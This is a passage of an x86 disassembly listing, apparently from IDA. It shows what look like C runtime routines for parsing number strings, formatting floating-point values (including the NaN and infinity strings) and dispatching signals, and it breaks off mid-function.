mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42544F
push edi
mov [ebp+arg_8], eax
loc_425402: ; CODE XREF: sub_4253DB+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_425380
push ebx
call sub_425380
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
push ebx
call sub_425380
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425402
xor edx, edx
pop edi
loc_42544F: ; CODE XREF: sub_4253DB+21j
; sub_4253DB+9Fj
cmp [ebx+8], edx
jnz short loc_42547C
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42544F
; ---------------------------------------------------------------------------
loc_42547C: ; CODE XREF: sub_4253DB+77j
mov esi, 8000h
loc_425481: ; CODE XREF: sub_4253DB+B9j
test [ebx+8], esi
jnz short loc_425496
push ebx
call sub_425380
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_425481
; ---------------------------------------------------------------------------
loc_425496: ; CODE XREF: sub_4253DB+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_4253DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4254A2 proc near ; CODE XREF: sub_424D28+17p
; sub_424D55+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_4254DD: ; CODE XREF: sub_4254A2+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_4254F3
cmp cl, 9
jz short loc_4254F3
cmp cl, 0Ah
jz short loc_4254F3
cmp cl, 0Dh
jnz short loc_4254F6
loc_4254F3: ; CODE XREF: sub_4254A2+40j
; sub_4254A2+45j ...
inc edi
jmp short loc_4254DD
; ---------------------------------------------------------------------------
loc_4254F6: ; CODE XREF: sub_4254A2+4Fj
push 4
pop esi
loc_4254F9: ; CODE XREF: sub_4254A2+AEj
; sub_4254A2+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_42577C ; default
; jumptable 00425505 case 10
jmp off_425943[eax*4] ; switch jump
loc_42550C: ; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 0
jl short loc_42551D
cmp bl, 39h
jg short loc_42551D
loc_425516: ; CODE XREF: sub_4254A2+C4j
; sub_4254A2+118j
push 3
jmp loc_42573A
; ---------------------------------------------------------------------------
loc_42551D: ; CODE XREF: sub_4254A2+6Dj
; sub_4254A2+72j
cmp bl, byte_43D088
jnz short loc_42552C
loc_425525: ; CODE XREF: sub_4254A2+124j
push 5
jmp loc_425772
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4254A2+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_425552
dec eax
dec eax
jz short loc_425546
sub eax, 3
jnz loc_425815
jmp loc_4255D5
; ---------------------------------------------------------------------------
loc_425546: ; CODE XREF: sub_4254A2+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_425552: ; CODE XREF: sub_4254A2+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_42555B: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 1
mov [ebp+var_10], edx
jl short loc_425568
cmp bl, 39h
jle short loc_425516
loc_425568: ; CODE XREF: sub_4254A2+BFj
cmp bl, byte_43D088
jz loc_425630
cmp bl, 2Bh
jz short loc_4255AA
cmp bl, 2Dh
jz short loc_4255AA
cmp bl, 30h
jz short loc_4255D5
loc_425583: ; CODE XREF: sub_4254A2+207j
cmp bl, 43h
jle loc_425815
cmp bl, 45h
jle short loc_4255A3
cmp bl, 63h
jle loc_425815
cmp bl, 65h
jg loc_425815
loc_4255A3: ; CODE XREF: sub_4254A2+EDj
push 6
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255AA: ; CODE XREF: sub_4254A2+D5j
; sub_4254A2+DAj ...
dec edi
push 0Bh
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255B2: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 2
jl short loc_4255C0
cmp bl, 39h
jle loc_425516
loc_4255C0: ; CODE XREF: sub_4254A2+113j
cmp bl, byte_43D088
jz loc_425525
cmp bl, 30h
jnz loc_42578A
loc_4255D5: ; CODE XREF: sub_4254A2+9Fj
; sub_4254A2+DFj
mov eax, edx
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_4255DC: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
mov [ebp+var_10], edx ; jumptable 00425505 case 3
loc_4255DF: ; CODE XREF: sub_4254A2+184j
cmp dword_43D084, edx
jle short loc_4255F8
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425606
; ---------------------------------------------------------------------------
loc_4255F8: ; CODE XREF: sub_4254A2+143j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425606: ; CODE XREF: sub_4254A2+154j
test eax, eax
jz short loc_425628
cmp [ebp+var_4], 19h
jnb short loc_425620
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425623
; ---------------------------------------------------------------------------
loc_425620: ; CODE XREF: sub_4254A2+16Cj
inc [ebp+var_8]
loc_425623: ; CODE XREF: sub_4254A2+17Cj
mov bl, [edi]
inc edi
jmp short loc_4255DF
; ---------------------------------------------------------------------------
loc_425628: ; CODE XREF: sub_4254A2+166j
cmp bl, byte_43D088
jnz short loc_425697
loc_425630: ; CODE XREF: sub_4254A2+CCj
mov eax, esi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425637: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp [ebp+var_4], 0 ; jumptable 00425505 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_425650
loc_425643: ; CODE XREF: sub_4254A2+1ACj
cmp bl, 30h
jnz short loc_425650
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425643
; ---------------------------------------------------------------------------
loc_425650: ; CODE XREF: sub_4254A2+19Fj
; sub_4254A2+1A4j ...
cmp dword_43D084, edx
jle short loc_425669
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425669: ; CODE XREF: sub_4254A2+1B4j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425677: ; CODE XREF: sub_4254A2+1C5j
test eax, eax
jz short loc_425697
cmp [ebp+var_4], 19h
jnb short loc_425692
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_425692: ; CODE XREF: sub_4254A2+1DDj
mov bl, [edi]
inc edi
jmp short loc_425650
; ---------------------------------------------------------------------------
loc_425697: ; CODE XREF: sub_4254A2+18Cj
; sub_4254A2+1D7j
cmp bl, 2Bh
jz loc_4255AA
cmp bl, 2Dh
jz loc_4255AA
jmp loc_425583
; ---------------------------------------------------------------------------
loc_4256AE: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp dword_43D084, edx ; jumptable 00425505 case 5
mov [ebp+var_24], edx
jle short loc_4256CA
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4256D8
; ---------------------------------------------------------------------------
loc_4256CA: ; CODE XREF: sub_4254A2+215j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4256D8: ; CODE XREF: sub_4254A2+226j
test eax, eax
jz loc_42578A
mov eax, esi
jmp short loc_42573B
; ---------------------------------------------------------------------------
loc_4256E4: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
lea ecx, [edi-2] ; jumptable 00425505 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_4256F4
cmp bl, 39h
jle short loc_425738
loc_4256F4: ; CODE XREF: sub_4254A2+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_425770
dec eax
dec eax
jz short loc_425764
sub eax, 3
jnz loc_425818
loc_425709: ; CODE XREF: sub_4254A2+2A4j
push 8
jmp short loc_425772
; ---------------------------------------------------------------------------
loc_42570D: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
mov [ebp+var_20], edx ; jumptable 00425505 case 8
loc_425710: ; CODE XREF: sub_4254A2+276j
cmp bl, 30h
jnz short loc_42571A
mov bl, [edi]
inc edi
jmp short loc_425710
; ---------------------------------------------------------------------------
loc_42571A: ; CODE XREF: sub_4254A2+271j
cmp bl, 31h
jl loc_425815
cmp bl, 39h
jg loc_425815
jmp short loc_425738
; ---------------------------------------------------------------------------
loc_42572E: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 7
jl short loc_425741
cmp bl, 39h
jg short loc_425741
loc_425738: ; CODE XREF: sub_4254A2+250j
; sub_4254A2+28Aj
push 9
loc_42573A: ; CODE XREF: sub_4254A2+76j
pop eax
loc_42573B: ; CODE XREF: sub_4254A2+240j
dec edi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425741: ; CODE XREF: sub_4254A2+28Fj
; sub_4254A2+294j
cmp bl, 30h
jnz short loc_42578A
jmp short loc_425709
; ---------------------------------------------------------------------------
loc_425748: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11
jz short loc_425778
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_425770
dec eax
dec eax
jnz loc_425818
loc_425764: ; CODE XREF: sub_4254A2+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425770: ; CODE XREF: sub_4254A2+258j
; sub_4254A2+2B8j
push 7
loc_425772: ; CODE XREF: sub_4254A2+85j
; sub_4254A2+103j ...
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425778: ; CODE XREF: sub_4254A2+2AAj
push 0Ah
dec edi
pop eax
loc_42577C: ; CODE XREF: sub_4254A2+5Dj
; sub_4254A2+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425505 case 10
jz loc_42581A
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_42578A: ; CODE XREF: sub_4254A2+12Dj
; sub_4254A2+238j ...
mov edi, [ebp+arg_8]
jmp loc_42581A
; ---------------------------------------------------------------------------
loc_425792: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
mov [ebp+var_20], 1 ; jumptable 00425505 case 9
xor esi, esi
loc_42579B: ; CODE XREF: sub_4254A2+339j
cmp dword_43D084, 1
jle short loc_4257B3
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4257C2
; ---------------------------------------------------------------------------
loc_4257B3: ; CODE XREF: sub_4254A2+300j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4257C2: ; CODE XREF: sub_4254A2+30Fj
test eax, eax
jz short loc_4257E2
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_4257DD
mov bl, [edi]
inc edi
jmp short loc_42579B
; ---------------------------------------------------------------------------
loc_4257DD: ; CODE XREF: sub_4254A2+334j
mov esi, 1451h
loc_4257E2: ; CODE XREF: sub_4254A2+322j
mov [ebp+var_1C], esi
loc_4257E5: ; CODE XREF: sub_4254A2+371j
cmp dword_43D084, 1
jle short loc_4257FD
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42580C
; ---------------------------------------------------------------------------
loc_4257FD: ; CODE XREF: sub_4254A2+34Aj
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42580C: ; CODE XREF: sub_4254A2+359j
test eax, eax
jz short loc_425815
mov bl, [edi]
inc edi
jmp short loc_4257E5
; ---------------------------------------------------------------------------
loc_425815: ; CODE XREF: sub_4254A2+99j
; sub_4254A2+E4j ...
dec edi
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_425818: ; CODE XREF: sub_4254A2+261j
; sub_4254A2+2BCj
mov edi, ecx
loc_42581A: ; CODE XREF: sub_4254A2+2DDj
; sub_4254A2+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425902
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425846
cmp [ebp+var_45], 5
jl short loc_42583A
inc [ebp+var_45]
loc_42583A: ; CODE XREF: sub_4254A2+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425849
; ---------------------------------------------------------------------------
loc_425846: ; CODE XREF: sub_4254A2+38Dj
mov eax, [ebp+var_C]
loc_425849: ; CODE XREF: sub_4254A2+3A2j
cmp [ebp+var_4], 0
jbe loc_4258F8
loc_425853: ; CODE XREF: sub_4254A2+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_425861
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_425853
; ---------------------------------------------------------------------------
loc_425861: ; CODE XREF: sub_4254A2+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_4253DB
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_425880
neg eax
loc_425880: ; CODE XREF: sub_4254A2+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_42588B
add eax, [ebp+arg_10]
loc_42588B: ; CODE XREF: sub_4254A2+3E4j
cmp [ebp+var_24], ecx
jnz short loc_425893
sub eax, [ebp+arg_14]
loc_425893: ; CODE XREF: sub_4254A2+3ECj
cmp eax, 1450h
jle short loc_4258CA
mov [ebp+var_2C], 1
loc_4258A1: ; CODE XREF: sub_4254A2+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4258AD: ; CODE XREF: sub_4254A2+454j
; sub_4254A2+45Ej
cmp [ebp+var_2C], 0
jz short loc_425913
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_4258CA: ; CODE XREF: sub_4254A2+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_4258DA
mov [ebp+var_30], 1
jmp short loc_4258A1
; ---------------------------------------------------------------------------
loc_4258DA: ; CODE XREF: sub_4254A2+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_42600E
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_4258F8: ; CODE XREF: sub_4254A2+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_425902: ; CODE XREF: sub_4254A2+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_425913: ; CODE XREF: sub_4254A2+40Fj
cmp [ebp+var_30], 0
jz short loc_425928
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425928: ; CODE XREF: sub_4254A2+426j
; sub_4254A2+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4254A2 endp
; ---------------------------------------------------------------------------
off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r
dd offset loc_42555B ; jump table for switch statement
dd offset loc_4255B2
dd offset loc_4255DC
dd offset loc_425637
dd offset loc_4256AE
dd offset loc_4256E4
dd offset loc_42572E
dd offset loc_42570D
dd offset loc_425792
dd offset loc_42577C
dd offset loc_425748
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_4259D5
mov byte ptr [ebx+2], 2Dh
jmp short loc_4259D9
; ---------------------------------------------------------------------------
loc_4259D5: ; CODE XREF: sub_425973+5Aj
mov byte ptr [ebx+2], 20h
loc_4259D9: ; CODE XREF: sub_425973+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_4259FF
test edi, edi
jnz short loc_4259FF
cmp [ebp+arg_0], edi
jnz short loc_4259FF
loc_4259EA: ; CODE XREF: sub_425973+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_425BFD
; ---------------------------------------------------------------------------
loc_4259FF: ; CODE XREF: sub_425973+6Cj
; sub_425973+70j ...
cmp dx, si
jnz short loc_425A7E
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425A18
cmp [ebp+arg_0], 0
jz short loc_425A27
loc_425A18: ; CODE XREF: sub_425973+9Dj
test edi, 40000000h
jnz short loc_425A27
push offset a1Snan ; "1#SNAN"
jmp short loc_425A6D
; ---------------------------------------------------------------------------
loc_425A27: ; CODE XREF: sub_425973+A3j
; sub_425973+ABj
test cx, cx
jz short loc_425A41
cmp edi, 0C0000000h
jnz short loc_425A41
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Ind ; "1#IND"
jmp short loc_425A50
; ---------------------------------------------------------------------------
loc_425A41: ; CODE XREF: sub_425973+B7j
; sub_425973+BFj
cmp edi, eax
jnz short loc_425A68
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Inf ; "1#INF"
loc_425A50: ; CODE XREF: sub_425973+CCj
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_425A5F: ; CODE XREF: sub_425973+109j
and [ebp+var_4], 0
jmp loc_425BD6
; ---------------------------------------------------------------------------
loc_425A68: ; CODE XREF: sub_425973+C5j
; sub_425973+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_425A6D: ; CODE XREF: sub_425973+B2j
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_425A5F
; ---------------------------------------------------------------------------
loc_425A7E: ; CODE XREF: sub_425973+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_42600E
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_425ADF
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DEE
pop ecx
pop ecx
loc_425ADF: ; CODE XREF: sub_425973+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425AF9
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_425AFC
jmp loc_4259EA
; ---------------------------------------------------------------------------
loc_425AF9: ; CODE XREF: sub_425973+173j
mov edi, [ebp+arg_C]
loc_425AFC: ; CODE XREF: sub_425973+17Fj
cmp edi, 15h
jle short loc_425B04
push 15h
pop edi
loc_425B04: ; CODE XREF: sub_425973+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425B1A: ; CODE XREF: sub_425973+1B4j
lea eax, [ebp+var_10]
push eax
call sub_425380
dec [ebp+arg_14]
pop ecx
jnz short loc_425B1A
test esi, esi
jge short loc_425B44
neg esi
and esi, 0FFh
jle short loc_425B44
loc_425B37: ; CODE XREF: sub_425973+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4253AE
dec esi
pop ecx
jnz short loc_425B37
loc_425B44: ; CODE XREF: sub_425973+1B8j
; sub_425973+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_425BA1
mov [ebp+arg_C], ecx
loc_425B54: ; CODE XREF: sub_425973+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_425380
lea eax, [ebp+var_10]
push eax
call sub_425380
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425322
lea eax, [ebp+var_10]
push eax
call sub_425380
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_425B54
mov eax, [ebp+arg_14]
loc_425BA1: ; CODE XREF: sub_425973+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_425BDE
loc_425BAE: ; CODE XREF: sub_425973+248j
cmp eax, ecx
jb short loc_425BC1
cmp byte ptr [eax], 39h
jnz short loc_425BBD
mov byte ptr [eax], 30h
dec eax
jmp short loc_425BAE
; ---------------------------------------------------------------------------
loc_425BBD: ; CODE XREF: sub_425973+242j
cmp eax, ecx
jnb short loc_425BC5
loc_425BC1: ; CODE XREF: sub_425973+23Dj
inc eax
inc word ptr [ebx]
loc_425BC5: ; CODE XREF: sub_425973+24Cj
inc byte ptr [eax]
loc_425BC7: ; CODE XREF: sub_425973+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425BD6: ; CODE XREF: sub_425973+F0j
mov eax, [ebp+var_4]
loc_425BD9: ; CODE XREF: sub_425973+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425BDE: ; CODE XREF: sub_425973+239j
; sub_425973+275j
cmp eax, ecx
jb short loc_425BEE
cmp byte ptr [eax], 30h
jnz short loc_425BEA
dec eax
jmp short loc_425BDE
; ---------------------------------------------------------------------------
loc_425BEA: ; CODE XREF: sub_425973+272j
cmp eax, ecx
jnb short loc_425BC7
loc_425BEE: ; CODE XREF: sub_425973+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_425BFD: ; CODE XREF: sub_425973+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425BD9
sub_425973 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_425C6D
dec eax
dec eax
jz short loc_425C5E
sub eax, 4
jz short loc_425C5E
sub eax, 3
jz short loc_425C5E
sub eax, 4
jz short loc_425C51
sub eax, 6
jz short loc_425C44
dec eax
jz short loc_425C37
or eax, 0FFFFFFFFh
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C37: ; CODE XREF: sub_425C06+27j
mov esi, dword_4DC004
mov eax, offset dword_4DC004
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C44: ; CODE XREF: sub_425C06+24j
mov esi, dword_4DC000
mov eax, offset dword_4DC000
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C51: ; CODE XREF: sub_425C06+1Fj
mov esi, dword_4DC008
mov eax, offset dword_4DC008
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C5E: ; CODE XREF: sub_425C06+10j
; sub_425C06+15j ...
push edi
call sub_425D33
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C6D: ; CODE XREF: sub_425C06+Cj
mov esi, dword_4DBFFC
mov eax, offset dword_4DBFFC
loc_425C78: ; CODE XREF: sub_425C06+3Cj
; sub_425C06+49j ...
cmp esi, 1
jnz short loc_425C84
xor eax, eax
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C84: ; CODE XREF: sub_425C06+75j
test esi, esi
jnz short loc_425C8F
push 3
call sub_41C1A2
loc_425C8F: ; CODE XREF: sub_425C06+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_425CA1
cmp edi, 0Bh
jz short loc_425CA1
cmp edi, 4
jnz short loc_425CC7
loc_425CA1: ; CODE XREF: sub_425C06+8Fj
; sub_425C06+94j
mov ebx, dword_4DBE9C
and dword_4DBE9C, 0
cmp edi, ecx
jnz short loc_425CF6
mov edx, dword_43D4CC
mov dword_43D4CC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425CCA
; ---------------------------------------------------------------------------
loc_425CC7: ; CODE XREF: sub_425C06+99j
mov ebx, [ebp+arg_0]
loc_425CCA: ; CODE XREF: sub_425C06+BFj
cmp edi, ecx
jnz short loc_425CF6
mov eax, dword_43D4C0
mov ecx, dword_43D4C4
add ecx, eax
cmp eax, ecx
jge short loc_425CFD
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43D450h[edx*4]
loc_425CEB: ; CODE XREF: sub_425C06+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425CEB
jmp short loc_425CFD
; ---------------------------------------------------------------------------
loc_425CF6: ; CODE XREF: sub_425C06+AAj
; sub_425C06+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425D0B
loc_425CFD: ; CODE XREF: sub_425C06+D7j
; sub_425C06+EEj
push dword_43D4CC
push 8
call esi
pop ecx
pop ecx
jmp short loc_425D19
; ---------------------------------------------------------------------------
loc_425D0B: ; CODE XREF: sub_425C06+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425D19
cmp edi, 4
jnz short loc_425D2C
loc_425D19: ; CODE XREF: sub_425C06+103j
; sub_425C06+10Cj
